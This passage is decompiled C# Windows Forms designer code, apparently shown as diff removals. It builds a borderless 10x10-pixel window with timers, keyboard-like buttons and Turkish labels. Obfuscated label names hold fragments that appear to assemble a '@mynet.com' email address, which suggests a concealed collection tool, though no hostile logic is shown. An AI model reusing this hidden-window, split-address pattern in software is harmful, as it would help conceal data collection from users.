new Label(); - this.GroupBox2 = new GroupBox(); - this.Label4 = new Label(); - this.TextBox2 = new TextBox(); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.Label5 = new Label(); - this.Label6 = new Label(); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Label9 = new Label(); - this.Label11 = new Label(); - this.Label7 = new Label(); - this.Label8 = new Label(); - this.GroupBox3 = new GroupBox(); - this.Button1 = new Button(); - this.Label3 = new Label(); - this.Label10 = new Label(); - this.GroupBox4 = new GroupBox(); - this.Button15 = new Button(); - this.Button16 = new Button(); - this.Button17 = new Button(); - this.Button18 = new Button(); - this.Button9 = new Button(); - this.Button10 = new Button(); - this.Button11 = new Button(); - this.Button12 = new Button(); - this.Button13 = new Button(); - this.Button14 = new Button(); - this.Button6 = new Button(); - this.Button7 = new Button(); - this.Button8 = new Button(); - this.Button5 = new Button(); - this.Button4 = new Button(); - this.Button3 = new Button(); - this.Button2 = new Button(); - this.GroupBox5 = new GroupBox(); - this.Button19 = new Button(); - this.GroupBox6 = new GroupBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Label12 = new Label(); - this.Label13 = new Label(); - this.Label14 = new Label(); - this.Label15 = new Label(); - this.Label16 = new Label(); - this.Label17 = new Label(); - this.c1 = new Label(); - this.x999 = new Label(); - this.o0000 = new Label(); - this.zazazaza2323 = new Label(); - this.mynet = new Label(); - this.sensin = new GroupBox(); - this.benim = new Label(); - this.a777 = new Label(); - this.TextBox3 = new TextBox(); - this.TextBox4 = new TextBox(); - this.TextBox5 = new TextBox(); - this.GroupBox1.SuspendLayout(); - ((ISupportInitialize) this.PictureBox4).BeginInit(); - ((ISupportInitialize) this.PictureBox1).BeginInit(); - ((ISupportInitialize) this.PictureBox2).BeginInit(); - ((ISupportInitialize) this.PictureBox3).BeginInit(); - ((ISupportInitialize) this.PictureBox7).BeginInit(); - ((ISupportInitialize) this.PictureBox5).BeginInit(); - ((ISupportInitialize) this.PictureBox6).BeginInit(); - this.GroupBox2.SuspendLayout(); - this.GroupBox3.SuspendLayout(); - this.GroupBox4.SuspendLayout(); - this.GroupBox5.SuspendLayout(); - this.GroupBox6.SuspendLayout(); - this.SuspendLayout(); - this.GroupBox1.Controls.Add((Control) this.TextBox1); - this.GroupBox1.Controls.Add((Control) this.PictureBox4); - this.GroupBox1.Controls.Add((Control) this.PictureBox1); - this.GroupBox1.Controls.Add((Control) this.PictureBox2); - this.GroupBox1.Controls.Add((Control) this.PictureBox3); - this.GroupBox1.Controls.Add((Control) this.PictureBox7); - this.GroupBox1.Controls.Add((Control) this.PictureBox5); - this.GroupBox1.Controls.Add((Control) this.PictureBox6); - GroupBox groupBox1_1 = this.GroupBox1; - Point point1 = new Point(65, 3); - Point point2 = point1; - groupBox1_1.Location = point2; - this.GroupBox1.Name = "GroupBox1"; - GroupBox groupBox1_2 = this.GroupBox1; - Size size1 = new Size(233, 146); - Size size2 = size1; - groupBox1_2.Size = size2; - this.GroupBox1.TabIndex = 0; - this.GroupBox1.TabStop = false; - this.GroupBox1.Text = "Computer XSXXTR"; - this.TextBox1.BackColor = SystemColors.WindowFrame; - this.TextBox1.ForeColor = Color.Lime; - TextBox textBox1_1 = this.TextBox1; - point1 = new Point(8, 17); - Point point3 = point1; - textBox1_1.Location = point3; - this.TextBox1.Multiline = true; - this.TextBox1.Name = "TextBox1"; - TextBox textBox1_2 = this.TextBox1; - size1 = new Size(214, 117); - Size size3 = size1; - textBox1_2.Size = size3; - this.TextBox1.TabIndex = 0; - this.PictureBox4.BackColor = SystemColors.ControlDarkDark; - PictureBox pictureBox4_1 = this.PictureBox4; - point1 = new Point(61, 134); - Point point4 = point1; - pictureBox4_1.Location = point4; - this.PictureBox4.Name = "PictureBox4"; - PictureBox pictureBox4_2 = this.PictureBox4; - size1 = new Size(10, 10); - Size size4 = size1; - pictureBox4_2.Size = size4; - this.PictureBox4.TabIndex = 9; - this.PictureBox4.TabStop = false; - this.PictureBox1.BackColor = SystemColors.ControlDarkDark; - PictureBox pictureBox1_1 = this.PictureBox1; - point1 = new Point(109, 134); - Point point5 = point1; - pictureBox1_1.Location = point5; - this.PictureBox1.Name = "PictureBox1"; - PictureBox pictureBox1_2 = this.PictureBox1; - size1 = new Size(10, 10); - Size size5 = size1; - pictureBox1_2.Size = size5; - this.PictureBox1.TabIndex = 6; - this.PictureBox1.TabStop = false; - this.PictureBox2.BackColor = SystemColors.ControlDarkDark; - PictureBox pictureBox2_1 = this.PictureBox2; - point1 = new Point(77, 134); - Point point6 = point1; - pictureBox2_1.Location = point6; - this.PictureBox2.Name = "PictureBox2"; - PictureBox pictureBox2_2 = this.PictureBox2; - size1 = new Size(10, 10); - Size size6 = size1; - pictureBox2_2.Size = size6; - this.PictureBox2.TabIndex = 7; - this.PictureBox2.TabStop = false; - this.PictureBox3.BackColor = SystemColors.ControlDarkDark; - PictureBox pictureBox3_1 = this.PictureBox3; - point1 = new Point(93, 134); - Point point7 = point1; - pictureBox3_1.Location = point7; - this.PictureBox3.Name = "PictureBox3"; - PictureBox pictureBox3_2 = this.PictureBox3; - size1 = new Size(10, 10); - Size size7 = size1; - pictureBox3_2.Size = size7; - this.PictureBox3.TabIndex = 8; - this.PictureBox3.TabStop = false; - PictureBox pictureBox7_1 = this.PictureBox7; - point1 = new Point(157, 134); - Point point8 = point1; - pictureBox7_1.Location = point8; - this.PictureBox7.Name = "PictureBox7"; - PictureBox pictureBox7_2 = this.PictureBox7; - size1 = new Size(10, 10); - Size size8 = size1; - pictureBox7_2.Size = size8; - this.PictureBox7.TabIndex = 12; - this.PictureBox7.TabStop = false; - this.PictureBox5.BackColor = SystemColors.ControlDarkDark; - PictureBox pictureBox5_1 = this.PictureBox5; - point1 = new Point(125, 134); - Point point9 = point1; - pictureBox5_1.Location = point9; - this.PictureBox5.Name = "PictureBox5"; - PictureBox pictureBox5_2 = this.PictureBox5; - size1 = new Size(10, 10); - Size size9 = size1; - pictureBox5_2.Size = size9; - this.PictureBox5.TabIndex = 10; - this.PictureBox5.TabStop = false; - this.PictureBox6.BackColor = SystemColors.ControlDarkDark; - PictureBox pictureBox6_1 = this.PictureBox6; - point1 = new Point(141, 134); - Point point10 = point1; - pictureBox6_1.Location = point10; - this.PictureBox6.Name = "PictureBox6"; - PictureBox pictureBox6_2 = this.PictureBox6; - size1 = new Size(10, 10); - Size size10 = size1; - pictureBox6_2.Size = size10; - this.PictureBox6.TabIndex = 11; - this.PictureBox6.TabStop = false; - this.Label2.AutoSize = true; - Label label2_1 = this.Label2; - point1 = new Point(41, 16); - Point point11 = point1; - label2_1.Location = point11; - this.Label2.Name = "Label2"; - Label label2_2 = this.Label2; - size1 = new Size(400, 52); - Size size11 = size1; - label2_2.Size = size11; - this.Label2.TabIndex = 1; - this.Label2.Text = "\r\n\r\n\r\n\r\n\r\n\r\n
"; - this.Label1.AutoSize = true; - Label label1_1 = this.Label1; - point1 = new Point(115, 68); - Point point12 = point1; - label1_1.Location = point12; - this.Label1.Name = "Label1"; - Label label1_2 = this.Label1; - size1 = new Size(50, 52); - Size size12 = size1; - label1_2.Size = size12; - this.Label1.TabIndex = 2; - this.Label1.Text = "
"; - this.GroupBox2.Controls.Add((Control) this.Label2); - this.GroupBox2.Controls.Add((Control) this.Label1); - GroupBox groupBox2_1 = this.GroupBox2; - point1 = new Point(252, 43); - Point point13 = point1; - groupBox2_1.Location = point13; - this.GroupBox2.Name = "GroupBox2"; - GroupBox groupBox2_2 = this.GroupBox2; - size1 = new Size(80, 13); - Size size13 = size1; - groupBox2_2.Size = size13; - this.GroupBox2.TabIndex = 3; - this.GroupBox2.TabStop = false; - this.GroupBox2.Text = "Tablo Html Bilgisi"; - this.Label4.AutoSize = true; - Label label4_1 = this.Label4; - point1 = new Point(439, 12); - Point point14 = point1; - label4_1.Location = point14; - this.Label4.Name = "Label4"; - Label label4_2 = this.Label4; - size1 = new Size(0, 13); - Size size14 = size1; - label4_2.Size = size14; - this.Label4.TabIndex = 4; - this.TextBox2.BackColor = SystemColors.ControlDarkDark; - TextBox textBox2_1 = this.TextBox2; - point1 = new Point(3, 38); - Point point15 = point1; - textBox2_1.Location = point15; - this.TextBox2.Multiline = true; - this.TextBox2.Name = "TextBox2"; - TextBox textBox2_2 = this.TextBox2; - size1 = new Size(46, 100); - Size size15 = size1; - textBox2_2.Size = size15; - this.TextBox2.TabIndex = 5; - this.Timer3.Interval = 5000; - this.Label5.AutoSize = true; - Label label5_1 = this.Label5; - point1 = new Point(49, 93); - Point point16 = point1; - label5_1.Location = point16; - this.Label5.Name = "Label5"; - Label label5_2 = this.Label5; - size1 = new Size(122, 13); - Size size16 = size1; - label5_2.Size = size16; - this.Label5.TabIndex = 13; - this.Label5.Text = ""; - this.Label6.AutoSize = true; - Label label6_1 = this.Label6; - point1 = new Point(180, 93); - Point point17 = point1; - label6_1.Location = point17; - this.Label6.Name = "Label6"; - Label label6_2 = this.Label6; - size1 = new Size(42, 13); - Size size17 = size1; - label6_2.Size = size17; - this.Label6.TabIndex = 14; - this.Label6.Text = ""; - this.Timer2.Enabled = true; - this.Label9.AutoSize = true; - Label label9_1 = this.Label9; - point1 = new Point(48, 92); - Point point18 = point1; - label9_1.Location = point18; - this.Label9.Name = "Label9"; - Label label9_2 = this.Label9; - size1 = new Size(19, 13); - Size size18 = size1; - label9_2.Size = size18; - this.Label9.TabIndex = 15; - this.Label9.Text = "10"; - this.Label11.AutoSize = true; - Label label11_1 = this.Label11; - point1 = new Point(244, 0); - Point point19 = point1; - label11_1.Location = point19; - this.Label11.Name = "Label11"; - Label label11_2 = this.Label11; - size1 = new Size(25, 13); - Size size19 = size1; - label11_2.Size = size19; - this.Label11.TabIndex = 16; - this.Label11.Text = "900"; - this.Label7.AutoSize = true; - Label label7_1 = this.Label7; - point1 = new Point(23, 22); - Point point20 = point1; - label7_1.Location = point20; - this.Label7.Name = "Label7"; - Label label7_2 = this.Label7; - size1 = new Size(48, 13); - Size size20 = size1; - label7_2.Size = size20; - this.Label7.TabIndex = 17; - this.Label7.Text = ""; - this.Label8.AutoSize = true; - Label label8_1 = this.Label8; - point1 = new Point(77, 23); - Point point21 = point1; - label8_1.Location = point21; - this.Label8.Name = "Label8"; - Label label8_2 = this.Label8; - size1 = new Size(53, 13); - Size size21 = size1; - label8_2.Size = size21; - this.Label8.TabIndex = 18; - this.Label8.Text = ""; - this.GroupBox3.Controls.Add((Control) this.Label8); - this.GroupBox3.Controls.Add((Control) this.Label7); - GroupBox groupBox3_1 = this.GroupBox3; - point1 = new Point(252, 62); - Point point22 = point1; - groupBox3_1.Location = point22; - this.GroupBox3.Name = "GroupBox3"; - GroupBox groupBox3_2 = this.GroupBox3; - size1 = new Size(80, 16); - Size size22 = size1; - groupBox3_2.Size = size22; - this.GroupBox3.TabIndex = 19; - this.GroupBox3.TabStop = false; - this.GroupBox3.Text = "Kalınlık"; - Button button1_1 = this.Button1; - point1 = new Point(228, 93); - Point point23 = point1; - button1_1.Location = point23; - this.Button1.Name = "Button1"; - Button button1_2 = this.Button1; - size1 = new Size(124, 21); - Size size23 = size1; - button1_2.Size = size23; - this.Button1.TabIndex = 20; - this.Button1.Text = "TestSürüşü"; - this.Button1.UseVisualStyleBackColor = true; - this.Label3.AutoSize = true; - Label label3_1 = this.Label3; - point1 = new Point(8, 119); - Point point24 = point1; - label3_1.Location = point24; - this.Label3.Name = "Label3"; - Label label3_2 = this.Label3; - size1 = new Size(37, 13); - Size size24 = size1; - label3_2.Size = size24; - this.Label3.TabIndex = 21; - this.Label3.Text = "Sonny"; - this.Label10.AutoSize = true; - Label label10_1 = this.Label10; - point1 = new Point(8, 41); - Point point25 = point1; - label10_1.Location = point25; - this.Label10.Name = "Label10"; - Label label10_2 = this.Label10; - size1 = new Size(37, 13); - Size size25 = size1; - label10_2.Size = size25; - this.Label10.TabIndex = 22; - this.Label10.Text = "CaqıL "; - this.GroupBox4.BackColor = SystemColors.Desktop; - this.GroupBox4.Controls.Add((Control) this.Button15); - this.GroupBox4.Controls.Add((Control) this.Button16); - this.GroupBox4.Controls.Add((Control) this.Button17); - this.GroupBox4.Controls.Add((Control) this.Button18); - this.GroupBox4.Controls.Add((Control) this.Label11); - this.GroupBox4.Controls.Add((Control) this.Button9); - this.GroupBox4.Controls.Add((Control) this.Button10); - this.GroupBox4.Controls.Add((Control) this.Button11); - this.GroupBox4.Controls.Add((Control) this.Button12); - this.GroupBox4.Controls.Add((Control) this.Button13); - this.GroupBox4.Controls.Add((Control) this.Button14); - this.GroupBox4.Controls.Add((Control) this.Button6); - this.GroupBox4.Controls.Add((Control) this.Button7); - this.GroupBox4.Controls.Add((Control) this.Button8); - this.GroupBox4.Controls.Add((Control) this.Button5); - this.GroupBox4.Controls.Add((Control) this.Button4); - this.GroupBox4.Controls.Add((Control) this.Button3); - this.GroupBox4.Controls.Add((Control) this.Button2); - GroupBox groupBox4_1 = this.GroupBox4; - point1 = new Point(44, 171); - Point point26 = point1; - groupBox4_1.Location = point26; - this.GroupBox4.Name = "GroupBox4"; - GroupBox groupBox4_2 = this.GroupBox4; - size1 = new Size(270, 74); - Size size26 = size1; - groupBox4_2.Size = size26; - this.GroupBox4.TabIndex = 23; - this.GroupBox4.TabStop = false; - this.GroupBox4.Text = "Keyboard"; - Button button15_1 = this.Button15; - point1 = new Point(240, 16); - Point point27 = point1; - button15_1.Location = point27; - this.Button15.Name = "Button15"; - Button button15_2 = this.Button15; - size1 = new Size(25, 23); - Size size27 = size1; - button15_2.Size = size27; - this.Button15.TabIndex = 40; - this.Button15.Text = "E"; - this.Button15.UseVisualStyleBackColor = true; - Button button16_1 = this.Button16; - point1 = new Point(213, 16); - Point point28 = point1; - button16_1.Location = point28; - this.Button16.Name = "Button16"; - Button button16_2 = this.Button16; - size1 = new Size(25, 23); - Size size28 = size1; - button16_2.Size = size28; - this.Button16.TabIndex = 39; - this.Button16.Text = "N"; - this.Button16.UseVisualStyleBackColor = true; - Button button17_1 = this.Button17; - point1 = new Point(188, 16); - Point point29 = point1; - button17_1.Location = point29; - this.Button17.Name = "Button17"; - Button button17_2 = this.Button17; - size1 = new Size(25, 23); - Size size29 = size1; - button17_2.Size = size29; - this.Button17.TabIndex = 38; - this.Button17.Text = "O"; - this.Button17.UseVisualStyleBackColor = true; - Button button18_1 = this.Button18; - point1 = new Point(161, 16); - Point point30 = point1; - button18_1.Location = point30; - this.Button18.Name = "Button18"; - Button button18_2 = this.Button18; - size1 = new Size(25, 23); - Size size30 = size1; - button18_2.Size = size30; - this.Button18.TabIndex = 37; - this.Button18.Text = "T"; - this.Button18.UseVisualStyleBackColor = true; - Button button9_1 = this.Button9; - point1 = new Point(202, 45); - Point point31 = point1; - button9_1.Location = point31; - this.Button9.Name = "Button9"; - Button button9_2 = this.Button9; - size1 = new Size(25, 23); - Size size31 = size1; - button9_2.Size = size31; - this.Button9.TabIndex = 36; - this.Button9.Text = "C"; - this.Button9.UseVisualStyleBackColor = true; - Button button10_1 = this.Button10; - point1 = new Point(173, 45); - Point point32 = point1; - button10_1.Location = point32; - this.Button10.Name = "Button10"; - Button button10_2 = this.Button10; - size1 = new Size(25, 23); - Size size32 = size1; - button10_2.Size = size32; - this.Button10.TabIndex = 35; - this.Button10.Text = "X"; - this.Button10.UseVisualStyleBackColor = true; - Button button11_1 = this.Button11; - point1 = new Point(229, 45); - Point point33 = point1; - button11_1.Location = point33; - this.Button11.Name = "Button11"; - Button button11_2 = this.Button11; - size1 = new Size(25, 23); - Size size33 = size1; - button11_2.Size = size33; - this.Button11.TabIndex = 34; - this.Button11.Text = "D"; - this.Button11.UseVisualStyleBackColor = true; - Button button12_1 = this.Button12; - point1 = new Point(91, 45); - Point point34 = point1; - button12_1.Location = point34; - this.Button12.Name = "Button12"; - Button button12_2 = this.Button12; - size1 = new Size(78, 23); - Size size34 = size1; - button12_2.Size = size34; - this.Button12.TabIndex = 33; - this.Button12.Text = "Gönder"; - this.Button12.UseVisualStyleBackColor = true; - Button button13_1 = this.Button13; - point1 = new Point(65, 45); - Point point35 = point1; - button13_1.Location = point35; - this.Button13.Name = "Button13"; - Button button13_2 = this.Button13; - size1 = new Size(25, 23); - Size size35 = size1; - button13_2.Size = size35; - this.Button13.TabIndex = 32; - this.Button13.Text = "3"; - this.Button13.UseVisualStyleBackColor = true; - Button button14_1 = this.Button14; - point1 = new Point(40, 45); - Point point36 = point1; - button14_1.Location = point36; - this.Button14.Name = "Button14"; - Button button14_2 = this.Button14; - size1 = new Size(25, 23); - Size size36 = size1; - button14_2.Size = size36; - this.Button14.TabIndex = 31; - this.Button14.Text = "2"; - this.Button14.UseVisualStyleBackColor = true; - Button button6_1 = this.Button6; - point1 = new Point(134, 16); - Point point37 = point1; - button6_1.Location = point37; - this.Button6.Name = "Button6"; - Button button6_2 = this.Button6; - size1 = new Size(25, 23); - Size size37 = size1; - button6_2.Size = size37; - this.Button6.TabIndex = 30; - this.Button6.Text = "S"; - this.Button6.UseVisualStyleBackColor = true; - Button button7_1 = this.Button7; - point1 = new Point(107, 16); - Point point38 = point1; - button7_1.Location = point38; - this.Button7.Name = "Button7"; - Button button7_2 = this.Button7; - size1 = new Size(25, 23); - Size size38 = size1; - button7_2.Size = size38; - this.Button7.TabIndex = 29; - this.Button7.Text = "L"; - this.Button7.UseVisualStyleBackColor = true; - Button button8_1 = this.Button8; - point1 = new Point(82, 16); - Point point39 = point1; - button8_1.Location = point39; - this.Button8.Name = "Button8"; - Button button8_2 = this.Button8; - size1 = new Size(25, 23); - Size size39 = size1; - button8_2.Size = size39; - this.Button8.TabIndex = 28; - this.Button8.Text = "I"; - this.Button8.UseVisualStyleBackColor = true; - Button button5_1 = this.Button5; - point1 = new Point(55, 16); - Point point40 = point1; - button5_1.Location = point40; - this.Button5.Name = "Button5"; - Button button5_2 = this.Button5; - size1 = new Size(25, 23); - Size size40 = size1; - button5_2.Size = size40; - this.Button5.TabIndex = 27; - this.Button5.Text = "Q"; - this.Button5.UseVisualStyleBackColor = true; - Button button4_1 = this.Button4; - point1 = new Point(29, 16); - Point point41 = point1; - button4_1.Location = point41; - this.Button4.Name = "Button4"; - Button button4_2 = this.Button4; - size1 = new Size(25, 23); - Size size41 = size1; - button4_2.Size = size41; - this.Button4.TabIndex = 26; - this.Button4.Text = "A"; - this.Button4.UseVisualStyleBackColor = true; - Button button3_1 = this.Button3; - point1 = new Point(13, 45); - Point point42 = point1; - button3_1.Location = point42; - this.Button3.Name = "Button3"; - Button button3_2 = this.Button3; - size1 = new Size(25, 23); - Size size42 = size1; - button3_2.Size = size42; - this.Button3.TabIndex = 25; - this.Button3.Text = "1"; - this.Button3.UseVisualStyleBackColor = true; - Button button2_1 = this.Button2; - point1 = new Point(4, 16); - Point point43 = point1; - button2_1.Location = point43; - this.Button2.Name = "Button2"; - Button button2_2 = this.Button2; - size1 = new Size(25, 23); - Size size43 = size1; - button2_2.Size = size43; - this.Button2.TabIndex = 0; - this.Button2.Text = "C"; - this.Button2.UseVisualStyleBackColor = true; - this.GroupBox5.Controls.Add((Control) this.Button1); - this.GroupBox5.Controls.Add((Control) this.GroupBox3); - this.GroupBox5.Controls.Add((Control) this.Label6); - this.GroupBox5.Controls.Add((Control) this.Label5); - this.GroupBox5.Controls.Add((Control) this.GroupBox2); - GroupBox groupBox5_1 = this.GroupBox5; - point1 = new Point(184, 299); - Point point44 = point1; - groupBox5_1.Location = point44; - this.GroupBox5.Name = "GroupBox5"; - GroupBox groupBox5_2 = this.GroupBox5; - size1 = new Size(114, 21); - Size size44 = size1; - groupBox5_2.Size = size44; - this.GroupBox5.TabIndex = 24; - this.GroupBox5.TabStop = false; - this.GroupBox5.Text = "Genel ayarlar"; - this.Button19.BackColor = SystemColors.Info; - this.Button19.Font = new Font("Microsoft Sans Serif", 48f, FontStyle.Regular, GraphicsUnit.Point, (byte) 162); - Button button19_1 = this.Button19; - point1 = new Point(9, 11); - Point point45 = point1; - button19_1.Location = point45; - this.Button19.Name = "Button19"; - Button button19_2 = this.Button19; - size1 = new Size(26, 35); - Size size45 = size1; - button19_2.Size = size45; - this.Button19.TabIndex = 25; - this.Button19.Text = "I"; - this.Button19.UseVisualStyleBackColor = false; - this.GroupBox6.Controls.Add((Control) this.Button19); - GroupBox groupBox6_1 = this.GroupBox6; - point1 = new Point(333, 171); - Point point46 = point1; - groupBox6_1.Location = point46; - this.GroupBox6.Name = "GroupBox6"; - GroupBox groupBox6_2 = this.GroupBox6; - size1 = new Size(43, 51); - Size size46 = size1; - groupBox6_2.Size = size46; - this.GroupBox6.TabIndex = 26; - this.GroupBox6.TabStop = false; - this.Timer1.Enabled = true; - this.Timer1.Interval = 1000; - this.Label12.AutoSize = true; - Label label12_1 = this.Label12; - point1 = new Point(27, 268); - Point point47 = point1; - label12_1.Location = point47; - this.Label12.Name = "Label12"; - Label label12_2 = this.Label12; - size1 = new Size(19, 13); - Size size47 = size1; - label12_2.Size = size47; - this.Label12.TabIndex = 27; - this.Label12.Text = "1q"; - this.Label13.AutoSize = true; - Label label13_1 = this.Label13; - point1 = new Point(81, 268); - Point point48 = point1; - label13_1.Location = point48; - this.Label13.Name = "Label13"; - Label label13_2 = this.Label13; - size1 = new Size(13, 13); - Size size48 = size1; - label13_2.Size = size48; - this.Label13.TabIndex = 28; - this.Label13.Text = "2"; - this.Label14.AutoSize = true; - Label label14_1 = this.Label14; - point1 = new Point(132, 268); - Point point49 = point1; - label14_1.Location = point49; - this.Label14.Name = "Label14"; - Label label14_2 = this.Label14; - size1 = new Size(15, 13); - Size size49 = size1; - label14_2.Size = size49; - this.Label14.TabIndex = 29; - this.Label14.Text = "w"; - this.Label15.AutoSize = true; - Label label15_1 = this.Label15; - point1 = new Point(187, 268); - Point point50 = point1; - label15_1.Location = point50; - this.Label15.Name = "Label15"; - Label label15_2 = this.Label15; - size1 = new Size(19, 13); - Size size50 = size1; - label15_2.Size = size50; - this.Label15.TabIndex = 30; - this.Label15.Text = "3e"; - this.Label16.AutoSize = true; - Label label16_1 = this.Label16; - point1 = new Point(243, 268); - Point point51 = point1; - label16_1.Location = point51; - this.Label16.Name = "Label16"; - Label label16_2 = this.Label16; - size1 = new Size(13, 13); - Size size51 = size1; - label16_2.Size = size51; - this.Label16.TabIndex = 31; - this.Label16.Text = "a"; - this.Label17.AutoSize = true; - Label label17_1 = this.Label17; - point1 = new Point(294, 268); - Point point52 = point1; - label17_1.Location = point52; - this.Label17.Name = "Label17"; - Label label17_2 = this.Label17; - size1 = new Size(13, 13); - Size size52 = size1; - label17_2.Size = size52; - this.Label17.TabIndex = 32; - this.Label17.Text = "q"; - this.c1.AutoSize = true; - Label c1_1 = this.c1; - point1 = new Point(27, 322); - Point point53 = point1; - c1_1.Location = point53; - this.c1.Name = "c1"; - Label c1_2 = this.c1; - size1 = new Size(21, 13); - Size size53 = size1; - c1_2.Size = size53; - this.c1.TabIndex = 33; - this.c1.Text = "kaj"; - this.x999.AutoSize = true; - Label x999_1 = this.x999; - point1 = new Point(54, 322); - Point point54 = point1; - x999_1.Location = point54; - this.x999.Name = "x999"; - Label x999_2 = this.x999; - size1 = new Size(21, 13); - Size size54 = size1; - x999_2.Size = size54; - this.x999.TabIndex = 34; - this.x999.Text = "em"; - this.o0000.AutoSize = true; - Label o0000_1 = this.o0000; - point1 = new Point(86, 322); - Point point55 = point1; - o0000_1.Location = point55; - this.o0000.Name = "o0000"; - Label o0000_2 = this.o0000; - size1 = new Size(13, 13); - Size size55 = size1; - o0000_2.Size = size55; - this.o0000.TabIndex = 35; - this.o0000.Text = "1"; - this.zazazaza2323.AutoSize = true; - Label zazazaza2323_1 = this.zazazaza2323; - point1 = new Point(121, 322); - Point point56 = point1; - zazazaza2323_1.Location = point56; - this.zazazaza2323.Name = "zazazaza2323"; - Label zazazaza2323_2 = this.zazazaza2323; - size1 = new Size(13, 13); - Size size56 = size1; - zazazaza2323_2.Size = size56; - this.zazazaza2323.TabIndex = 36; - this.zazazaza2323.Text = "2"; - this.mynet.AutoSize = true; - Label mynet1 = this.mynet; - point1 = new Point(175, 342); - Point point57 = point1; - mynet1.Location = point57; - this.mynet.Name = "mynet"; - Label mynet2 = this.mynet; - size1 = new Size(69, 13); - Size size57 = size1; - mynet2.Size = size57; - this.mynet.TabIndex = 37; - this.mynet.Text = "@mynet.com"; - GroupBox sensin1 = this.sensin; - point1 = new Point(48, 468); - Point point58 = point1; - sensin1.Location = point58; - this.sensin.Name = "sensin"; - GroupBox sensin2 = this.sensin; - size1 = new Size(9, 11); - Size size58 = size1; - sensin2.Size = size58; - this.sensin.TabIndex = 38; - this.sensin.TabStop = false; - this.sensin.Text = "za"; - this.benim.AutoSize = true; - Label benim1 = this.benim; - point1 = new Point(80, 466); - Point point59 = point1; - benim1.Location = point59; - this.benim.Name = "benim"; - Label benim2 = this.benim; - size1 = new Size(29, 13); - Size size59 = size1; - benim2.Size = size59; - this.benim.TabIndex = 39; - this.benim.Text = "zaza"; - this.a777.AutoSize = true; - Label a777_1 = this.a777; - point1 = new Point(118, 466); - Point point60 = point1; - a777_1.Location = point60; - this.a777.Name = "a777"; - Label a777_2 = this.a777; - size1 = new Size(18, 13); - Size size60 = size1; - a777_2.Size = size60; - this.a777.TabIndex = 40; - this.a777.Text = "zu"; - TextBox textBox3_1 = this.TextBox3; - point1 = new Point(21, 387); - Point point61 = point1; - textBox3_1.Location = point61; - this.TextBox3.Name = "TextBox3"; - TextBox textBox3_2 = this.TextBox3; - size1 = new Size(114, 20); - Size size61 = size1; - textBox3_2.Size = size61; - this.TextBox3.TabIndex = 41; - TextBox textBox4_1 = this.TextBox4; - point1 = new Point(144, 384); - Point point62 = point1; - textBox4_1.Location = point62; - this.TextBox4.Name = "TextBox4"; - TextBox textBox4_2 = this.TextBox4; - size1 = new Size(137, 20); - Size size62 = size1; - textBox4_2.Size = size62; - this.TextBox4.TabIndex = 42; - TextBox textBox5_1 = this.TextBox5; - point1 = new Point(286, 384); - Point point63 = point1; - textBox5_1.Location = point63; - this.TextBox5.Name = "TextBox5"; - TextBox textBox5_2 = this.TextBox5; - size1 = new Size(137, 20); - Size size63 = size1; - textBox5_2.Size = size63; - this.TextBox5.TabIndex = 43; - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.BackColor = SystemColors.ButtonFace; - size1 = new Size(10, 10); - this.ClientSize = size1; - this.Controls.Add((Control) this.TextBox5); - this.Controls.Add((Control) this.TextBox4); - this.Controls.Add((Control) this.TextBox3); - this.Controls.Add((Control) this.a777); - this.Controls.Add((Control) this.benim); - this.Controls.Add((Control) this.sensin); - this.Controls.Add((Control) this.mynet); - this.Controls.Add((Control) this.zazazaza2323); - this.Controls.Add((Control) this.o0000); - this.Controls.Add((Control) this.x999); - this.Controls.Add((Control) this.c1); - this.Controls.Add((Control) this.Label17); - this.Controls.Add((Control) this.Label16); - this.Controls.Add((Control) this.Label15); - this.Controls.Add((Control) this.Label14); - this.Controls.Add((Control) this.Label13); - this.Controls.Add((Control) this.Label12); - this.Controls.Add((Control) this.GroupBox6); - this.Controls.Add((Control) this.GroupBox5); - this.Controls.Add((Control) this.GroupBox4); - this.Controls.Add((Control) this.Label10); - this.Controls.Add((Control) this.Label9); - this.Controls.Add((Control) this.Label3); - this.Controls.Add((Control) this.TextBox2); - this.Controls.Add((Control) this.Label4); - this.Controls.Add((Control) this.GroupBox1); - this.FormBorderStyle = FormBorderStyle.None; - this.Name = nameof (Form1); - this.StartPosition = FormStartPosition.CenterScreen; - this.Text = nameof (Form1); - this.GroupBox1.ResumeLayout(false); - this.GroupBox1.PerformLayout(); - ((ISupportInitialize) this.PictureBox4).EndInit(); - ((ISupportInitialize) this.PictureBox1).EndInit(); - ((ISupportInitialize) this.PictureBox2).EndInit(); - ((ISupportInitialize) this.PictureBox3).EndInit(); - ((ISupportInitialize) this.PictureBox7).EndInit(); - ((ISupportInitialize) this.PictureBox5).EndInit(); - ((ISupportInitialize) this.PictureBox6).EndInit(); - this.GroupBox2.ResumeLayout(false); - this.GroupBox2.PerformLayout(); - this.GroupBox3.ResumeLayout(false); - this.GroupBox3.PerformLayout(); - this.GroupBox4.ResumeLayout(false); - this.GroupBox4.PerformLayout(); - this.GroupBox5.ResumeLayout(false); - this.GroupBox5.PerformLayout(); - this.GroupBox6.ResumeLayout(false); - this.ResumeLayout(false); - this.PerformLayout(); - } - - internal virtual GroupBox GroupBox1 - { - [DebuggerNonUserCode] get => this._GroupBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.GroupBox1_Enter); - if (this._GroupBox1 != null) - this._GroupBox1.Enter -= eventHandler; - this._GroupBox1 = value; - if (this._GroupBox1 == null) - return; - this._GroupBox1.Enter += eventHandler; - } - } - - internal virtual TextBox TextBox1 - { - [DebuggerNonUserCode] get => this._TextBox1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.TextBox1_TextChanged); - if (this._TextBox1 != null) - this._TextBox1.TextChanged -= eventHandler; - this._TextBox1 = value; - if (this._TextBox1 == null) - return; - this._TextBox1.TextChanged += eventHandler; - } - } - - internal virtual Label Label2 - { - [DebuggerNonUserCode] get => this._Label2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; - } - - internal virtual Label Label1 - { - [DebuggerNonUserCode] get => this._Label1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; - } - - internal virtual GroupBox GroupBox2 - { - [DebuggerNonUserCode] get => this._GroupBox2; - [DebuggerNonUserCode, 